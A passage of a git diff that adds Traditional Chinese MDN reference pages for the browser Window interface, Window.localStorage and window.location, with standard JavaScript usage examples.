+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Minimizes the window.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Moves the current window by a specified amount.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Moves the window to the specified coordinates.</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Opens a new window.</dd>
+ <dt>{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Opens the Print Dialog to print the current document.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Returns the text entered by the user in a prompt dialog.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}</dt>
+ <dd>Releases the window from trapping events of a specific type.</dd>
+ <dt>{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Enables the scheduling of tasks during a browser's idle periods.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Resizes the current window by a certain amount.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Dynamically resizes window.</dd>
+ <dt>{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Scrolls the document in the window by the given amount.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the document by the given number of lines.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}</dt>
+ <dd>Scrolls the current document by the specified number of pages.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Scrolls to a particular set of coordinates in the document.</dd>
+ <dt>{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)</dt>
+ <dd>Changes the cursor for the current window</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Executes a function after the browser has finished other heavy tasks</dd>
+ <dt>{{domxref("Window.setResizable()")}} {{Non-standard_inline}}</dt>
+ <dd>Toggles a user's ability to resize a window.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}</dt>
+ <dd>Sizes the window according to its content.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>This method stops window loading.</dd>
+ <dt>{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}</dt>
+ <dd>Updates the state of commands of the current chrome window (UI).</dd>
+</dl>
+
+<h3 id="Methods_implemented_from_elsewhere">Methods implemented from elsewhere</h3>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Register an event handler to a specific event type on the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at <em>(sx, sy)</em> with width sw, and height sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Starts the process of fetching a resource from the network.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Removes an event listener from the window.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Schedules a function to execute every time a given number of milliseconds elapses.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Schedules a function to execute in a given amount of time.</dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}</dt>
+ <dd>Displays a modal dialog. <strong>This method was removed completely in Chrome 43, and Firefox 55.</strong></dd>
+</dl>
+
+<h2 id="事件處理器">事件處理器</h2>
+
+<p>These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.</p>
+
+<p><em>This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Note:</strong> Starting in {{Gecko("9.0")}}, you can now use the syntax <code>if ("onabort" in window)</code> to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See <a href="/zh-TW/docs/DOM/DOM_event_handlers">DOM event handlers</a> for details.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Called when the print dialog box is closed. See {{event("afterprint")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Called when the print dialog box is opened. See {{event("beforeprint")}} event.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>An event handler property for before-unload events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Called after the window loses focus, such as due to a popup.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>An event handler property for change events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Called after the ANY mouse button is pressed &amp; released</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Called when a double click is made with ANY mouse button.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Called after the window is closed</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Called when the RIGHT mouse button is pressed</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>An event handler property for any ambient light levels changes</dd>
+ <dt>{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Called if accelerometer detects a change (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Called when the orientation is changed (For mobile devices)</dd>
+ <dt>{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only</dt>
+ <dd>An event handler property for any device orientation changes.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>An event handler property for device proximity event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Called after the window receives or regains focus. See {{event("focus")}} events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.</dd>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Called when the page is installed as a webapp. See {{event('appinstalled')}} event.</dd>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.oninput")}}</dt>
+ <dd>Called when the value of an &lt;input&gt; element changes</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Called when you begin pressing ANY key. See {{event("keydown")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Called when you finish releasing ANY key. See {{event("keyup")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>An event handler property for {{event("languagechange")}} events on the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Called when ANY mouse button is pressed.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Called continously when the mouse is moved inside the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Called when the pointer leaves the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Called when the pointer enters the window</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Called when ANY mouse button is released</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>An event handler property for the <code>MozBeforePaint</code> event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Called when network connection is lost. See {{event("offline")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Called when network connection is established. See {{event("online")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>An event handler property for paint events on the window.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Called when a back putton is pressed.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>An event handler for handled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Called when a form is reset</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Called continuously as you are resizing the window.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Called when the mouse wheel is rotated around any axis</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Called after text in an input field is selected</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Called when there is a change in session storage or local storage. See {{event("storage")}} event</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Called when a form is submitted</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>An event handler for unhandled {{jsxref("Promise")}} rejection events.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Called when the user navigates away from the page.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>An event handler property for user proximity events.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnect")}}</dt>
+ <dd>Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplayactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</dd>
+ <dt>{{domxref("Window.onvrdisplaydeactivate")}}</dt>
+ <dd>Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</dd>
+ <dt>{{domxref("Window.onvrdisplayblur")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</dd>
+ <dt>{{domxref("Window.onvrdisplayfocus")}}</dt>
+ <dd>Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}}</dt>
+ <dd>represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).</dd>
+</dl>
+
+<h2 id="建構式">建構式</h2>
+
+<p>See also the <a href="/zh-TW/docs/DOM/DOM_Reference" title="/zh-TW/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("DOMParser")}}</dt>
+ <dd><code>DOMParser</code> can parse XML or HTML source stored in a string into a DOM <a href="https://developer.mozilla.org/zh-TW/docs/DOM/document" title="document">Document</a>. <code>DOMParser</code> is specified in <a href="https://w3c.github.io/DOM-Parsing/" title="http://html5.org/specs/dom-parsing.html">DOM Parsing and Serialization</a>.</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Used for creating an {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Used for creating a <a href="/zh-TW/docs/DOM/Using_web_workers">Web worker</a></dd>
+ <dt>{{domxref("Window.XPCNativeWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XPCSafeJSObjectWrapper")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+</dl>
+
+<h2 id="相關介面">相關介面</h2>
+
+<p>請參閱 {{domxref("Document_Object_Model", "DOM Reference")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Working_with_windows_in_chrome_code">Working with windows in chrome code</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/window/localstorage/index.html b/files/zh-tw/web/api/window/localstorage/index.html
new file mode 100644
index 0000000000..1733a325bd
--- /dev/null
+++ b/files/zh-tw/web/api/window/localstorage/index.html
@@ -0,0 +1,82 @@
+---
+title: Window.localStorage
+slug: Web/API/Window/localStorage
+translation_of: Web/API/Window/localStorage
+---
+<p>{{APIRef("Web Storage API")}}</p>
+
+<p><span class="seoSummary"><strong><code>localStorage</code></strong> 為一唯讀屬性, 此屬性允許您存取目前文件({{DOMxRef("Document")}})隸屬網域來源的 {{DOMxRef("Storage")}} 物件; 與 sessionStorage 不同的是其儲存資料的可存取範圍為跨瀏覽頁狀態(Browser Sessions).</span> <code>localStorage</code> 的應用與 {{DOMxRef("Window.sessionStorage", "sessionStorage")}} 相似, 除了 <code>localStorage</code> 的儲存資料並無到期的限制, 而 <code>sessionStorage</code> 的儲存資料於目前瀏覽頁狀態結束的同時將一併被清除 — 也就是目前瀏覽器頁面被關閉的同時.</p>
+
+<p>值得注意的是不論 <code>localStorage</code> 或者 <code>sessionStorage</code> <strong>皆為專屬於目前瀏覽器頁面的通訊協定(Protocol)</strong>.</p>
+
+<p>鍵值名稱和值皆為<strong>字串型式</strong>(請留意, 當其為物件, 整數等將自動轉換為字串型式).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>myStorage</em> = <em>window</em>.localStorage;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{DOMxRef("Storage")}} 物件 which can be used to access the current origin's local storage space.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>The request violates a policy decision, or the origin is not <a href="/en-US/docs/Web/Security/Same-origin_policy#Definition_of_an_origin">a valid scheme/host/port tuple</a> (this can happen if the origin uses the <code>file:</code> or <code>data:</code> scheme, for example). 舉例來說，使用者 may have their browser configured to deny permission to persist data for the specified origin.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>下列的程式碼片段讀取了目前域名內的 local {{DOMxRef("Storage")}} 物件 ，並用{{DOMxRef("Storage.setItem()")}}，增加一個資料物件 item 到其中</p>
+
+<pre class="brush: js">localStorage.setItem('myCat', 'Tom');</pre>
+
+<p>讀取 <code>localStorage</code> 內物件的語法如下：</p>
+
+<pre class="brush: js">var cat = localStorage.getItem('myCat');</pre>
+
+<p>移除 <code>localStorage</code> 內物件的語法如下：</p>
+
+<pre class="brush: js">localStorage.removeItem('myCat');</pre>
+
+<p>刪除 <code>localStorage</code> 內所有物件的語法如下：</p>
+
+<pre class="brush: js">// Clear all items
+localStorage.clear();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Please refer to the <a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a> article for a full example.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "webstorage.html#dom-localstorage", "localStorage")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Window.localStorage")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API">Using the Web Storage API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Storage_API/Local_storage">Local storage with Window.localStorage</a></li>
+ <li><span>{{DOMxRef("Window.sessionStorage")}}</span></li>
+</ul>
diff --git a/files/zh-tw/web/api/window/location/index.html b/files/zh-tw/web/api/window/location/index.html
new file mode 100644
index 0000000000..a887f88ee0
--- /dev/null
+++ b/files/zh-tw/web/api/window/location/index.html
@@ -0,0 +1,373 @@
+---
+title: window.location
+slug: Web/API/Window/location
+translation_of: Web/API/Window/location
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Summary" name="Summary">Summary</h3>
+<p>Returns a <a href="#Location_object"> <code>Location</code> object</a>, which contains information about the URL of the document and provides methods for changing that URL. You can also assign to this property to load another URL.</p>
+<h3 id="Syntax" name="Syntax">語法</h3>
+<pre class="eval">var <em>locationObj</em> = window.location;
+window.location = <em>newLocation</em>;
+</pre>
+<p>where</p>
+<ul>
+ <li><em>locationObj</em> is an object of type <code>Location</code>, providing information about the current URL and methods to change it. Its properties and methods are described below.</li>
+ <li><em>newLocation</em> is a <code>Location</code> object or a string, specifying the URL to navigate to.</li>
+</ul>
+<h3 id="Location_object" name="Location_object"><code>Location</code> object</h3>
+<p>This section describes the properties and methods of the location object.</p>
+<h4 id="Use_as_a_string" name="Use_as_a_string">Use as a string</h4>
+<p><code>Location</code> objects have a <code>toString</code> method returning the current URL. You can also assign a string to <code>window.location</code>. This means that you can work with <code>window.location</code> as if it were a string in most cases. Sometimes, for example when you need to call a <a href="/En/Core_JavaScript_1.5_Reference/Global_Objects/String" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String">String</a> method on it, you have to explicitly call <code>toString</code>:</p>
+<pre class="brush: js">alert(window.location.toString().charAt(17));
+</pre>
+<h4 id="Properties" name="Properties">Properties</h4>
+<p>All of the following properties are strings. You can read them to get information about the current URL or set them to navigate to another URL.</p>
+<p>The "Example" column contains the values of the properties of the following URL:</p>
+<ul>
+ <li><span class="nowiki">http://[www.example.com]:80/search?q=devmo#test</span></li>
+</ul>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Property</th>
+   <th>Description</th>
+   <th>Example</th>
+  </tr>
+  <tr>
+   <td><code>hash</code></td>
+   <td>the part of the URL that follows the # symbol, including the # symbol.<br>
+    You can listen for the <a href="/en-US/docs/Mozilla_event_reference/hashchange">hashchange event</a> to get notified of changes to the hash in supporting browsers.</td>
+   <td>#test</td>
+  </tr>
+  <tr>
+   <td><code>host</code></td>
+   <td>the host name and port number.</td>
+   <td>[www.example.com]:80</td>
+  </tr>
+  <tr>
+   <td><code>hostname</code></td>
+   <td>the host name (without the port number or square brackets).</td>
+   <td>www.example.com</td>
+  </tr>
+  <tr>
+   <td><code>href</code></td>
+   <td>the entire URL.</td>
+   <td><span class="nowiki">http://[www.example.com]:80/search?q=devmo#test</span></td>
+  </tr>
+  <tr>
+   <td><code>pathname</code></td>
+   <td>the path (relative to the host).</td>
+   <td>/search</td>
+  </tr>
+  <tr>
+   <td><code>port</code></td>
+   <td>the port number of the URL.</td>
+   <td>80</td>
+  </tr>
+  <tr>
+   <td><code>protocol</code></td>
+   <td>the protocol of the URL.</td>
+   <td>http:</td>
+  </tr>
+  <tr>
+   <td><code>search</code></td>
+   <td>the part of the URL that follows the ? symbol, including the ? symbol.</td>
+   <td>?q=devmo</td>
+  </tr>
+ </tbody>
+</table>
+<p>If the hash part of the URL contains encoded characters (see <a href="/en/JavaScript/Reference/Global_Objects/encodeURIComponent" title="en/Core_JavaScript_1.5_Reference/Global_Functions/encodeURIComponent">Core_JavaScript_1.5_Reference:Global_Functions:encodeURIComponent</a>), <code>hash</code> returns the decoded URL part. This is a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=483304" title="https://bugzilla.mozilla.org/show_bug.cgi?id=483304">bug</a> in Firefox. <code>href</code>, <code>search</code> and <code>pathname</code> return the correct, encoded URL parts. For example:</p>
+<ul>
+ <li><span class="nowiki">http://www.example.com/search?q=Fire%20fox#Fire%20fox</span></li>
+</ul>
+<p>results in:</p>
+<ul>
+ <li><span class="nowiki">hash=#Fire fox</span></li>
+ <li><span class="nowiki">search=?q=Fire%20fox</span></li>
+</ul>
+<h4 id="Methods" name="Methods">Methods</h4>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Method</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code id="assign">assign(url)</code></td>
+   <td>Load the document at the provided URL.</td>
+  </tr>
+  <tr>
+   <td><code id="reload">reload(forceget)</code></td>
+   <td>Reload the document from the current URL. <code>forceget</code> is a boolean, which, when it is <code>true</code>, causes the page to always be reloaded from the server. If it is <code>false</code> or not specified, the browser may reload the page from its cache.</td>
+  </tr>
+  <tr>
+   <td><code id="replace">replace(url)</code></td>
+   <td>Replace the current document with the one at the provided URL. The difference from the <code>assign()</code> method is that after using <code>replace()</code> the current page will not be saved in session history, meaning the user won't be able to use the Back button to navigate to it.</td>
+  </tr>
+  <tr>
+   <td><code id="toString">toString()</code></td>
+   <td>Returns the string representation of the <code>Location</code> object's URL. See the <a href="/en/JavaScript/Reference/Global_Objects/Object/toString" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Object/toString">JavaScript reference</a> for details.</td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Example" name="Example">Examples</h3>
+<p>Whenever a property of the location object is modified, a document will be loaded using the URL as if <code>window.location.assign()</code> had been called with the modified URL.</p>
+<h5 id="Replace_the_current_document_with_the_one_at_the_given_URL">Replace the current document with the one at the given URL:</h5>
+<pre class="brush: js">function goMoz() {
+   window.location = "http://www.mozilla.org";
+}
+
+// in html: &lt;button onclick="goMoz();"&gt;Mozilla&lt;/button&gt;
+
+</pre>
+<div class="note">
+ <strong>Note:</strong> The example above works in situations where <code>window.location.hash</code> does not need to be retained. However, in Gecko-based browsers, setting <code>window.location.pathname</code> in this manner will erase any information in <code>window.location.hash</code>, whereas in WebKit (and possibly other browsers), setting the pathname will not alter the the hash. If you need to change pathname but keep the hash as is, use the <code>replace()</code> method instead, which should work consistently across browsers.</div>
+<p><br>
+ Consider the following example, which will reload the page by using the <code>replace()</code> method to insert the value of <code>window.location.pathname</code> into the hash (similar to Twitter's reload of <a class="external" href="http://twitter.com/username" rel="freelink">http://twitter.com/username</a> to <a class="external" href="http://twitter.com/#!/username" rel="freelink">http://twitter.com/#!/username</a>):</p>
+<pre class="brush: js">function reloadPageWithHash() {
+  var initialPage = window.location.pathname;
+  window.location.replace('http://example.com/#' + initialPage);
+}
+</pre>
+<h5 id="Display_the_properties_of_the_current_URL_in_an_alert_dialog">Display the properties of the current URL in an alert dialog:</h5>
+<pre class="brush: js">function showLoc() {
+  var oLocation = window.location, aLog = ["Property (Typeof): Value", "window.location (" + (typeof oLocation) + "): " + oLocation ];
+  for (var sProp in oLocation){
+    aLog.push(sProp + " (" + (typeof oLocation[sProp]) + "): " +  (oLocation[sProp] || "n/a"));
+  }
+  alert(aLog.join("\n"));
+}
+
+// in html: &lt;button onclick="showLoc();"&gt;Show location properties&lt;/button&gt;
+</pre>
+<h5 id="Send_a_string_of_data_to_the_server_by_modifying_the_search_property">Send a string of data to the server by modifying the <code>search</code> property:</h5>
+<pre class="brush: js">function sendData (sData) {
+  window.location.search = sData;
+}
+
+// in html: &lt;button onclick="sendData('Some data');"&gt;Send data&lt;/button&gt;
+
+</pre>
+<p>The current URL with "?Some%20data" appended is sent to the server (if no action is taken by the server, the current document is reloaded with the modified search string).</p>
+<h5 id="Get_the_value_of_a_single_window.location.search_key">Get the value of a single <code>window.location.search</code> key:</h5>
+<pre class="brush: js">function loadPageVar (sVar) {
+  return unescape(window.location.search.replace(new RegExp("^(?:.*[&amp;\\?]" + escape(sVar).replace(/[\.\+\*]/g, "\\$&amp;") + "(?:\\=([^&amp;]*))?)?.*$", "i"), "$1"));
+}
+
+alert(loadPageVar("name"));
+</pre>
+<h5 id="Nestle_the_variables_obtained_through_the_window.location.search_string_in_an_object_named_oGetVars">Nestle the variables obtained through the <code>window.location.search</code> string in an object named <code>oGetVars</code>:</h5>
+<pre class="brush: js">var oGetVars = {};
+
+if (window.location.search.length &gt; 1) {
+  for (var aItKey, nKeyId = 0, aCouples = window.location.search.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+    aItKey = aCouples[nKeyId].split("=");
+    oGetVars[unescape(aItKey[0])] = aItKey.length &gt; 1 ? unescape(aItKey[1]) : "";
+  }
+}
+
+// alert(oGetVars.yourVar);
+</pre>
+<p>…the same thing obtained by an anonymous constructor – useful for a global variable declaration:</p>
+<pre class="brush: js">var oGetVars = new (function (sSearch) {
+  if (sSearch.length &gt; 1) {
+    for (var aItKey, nKeyId = 0, aCouples = sSearch.substr(1).split("&amp;"); nKeyId &lt; aCouples.length; nKeyId++) {
+      aItKey = aCouples[nKeyId].split("=");
+      this[unescape(aItKey[0])] = aItKey.length &gt; 1 ? unescape(aItKey[1]) : "";
+    }
+  }
+})(window.location.search);
+
+// alert(oGetVars.yourVar);
+</pre>
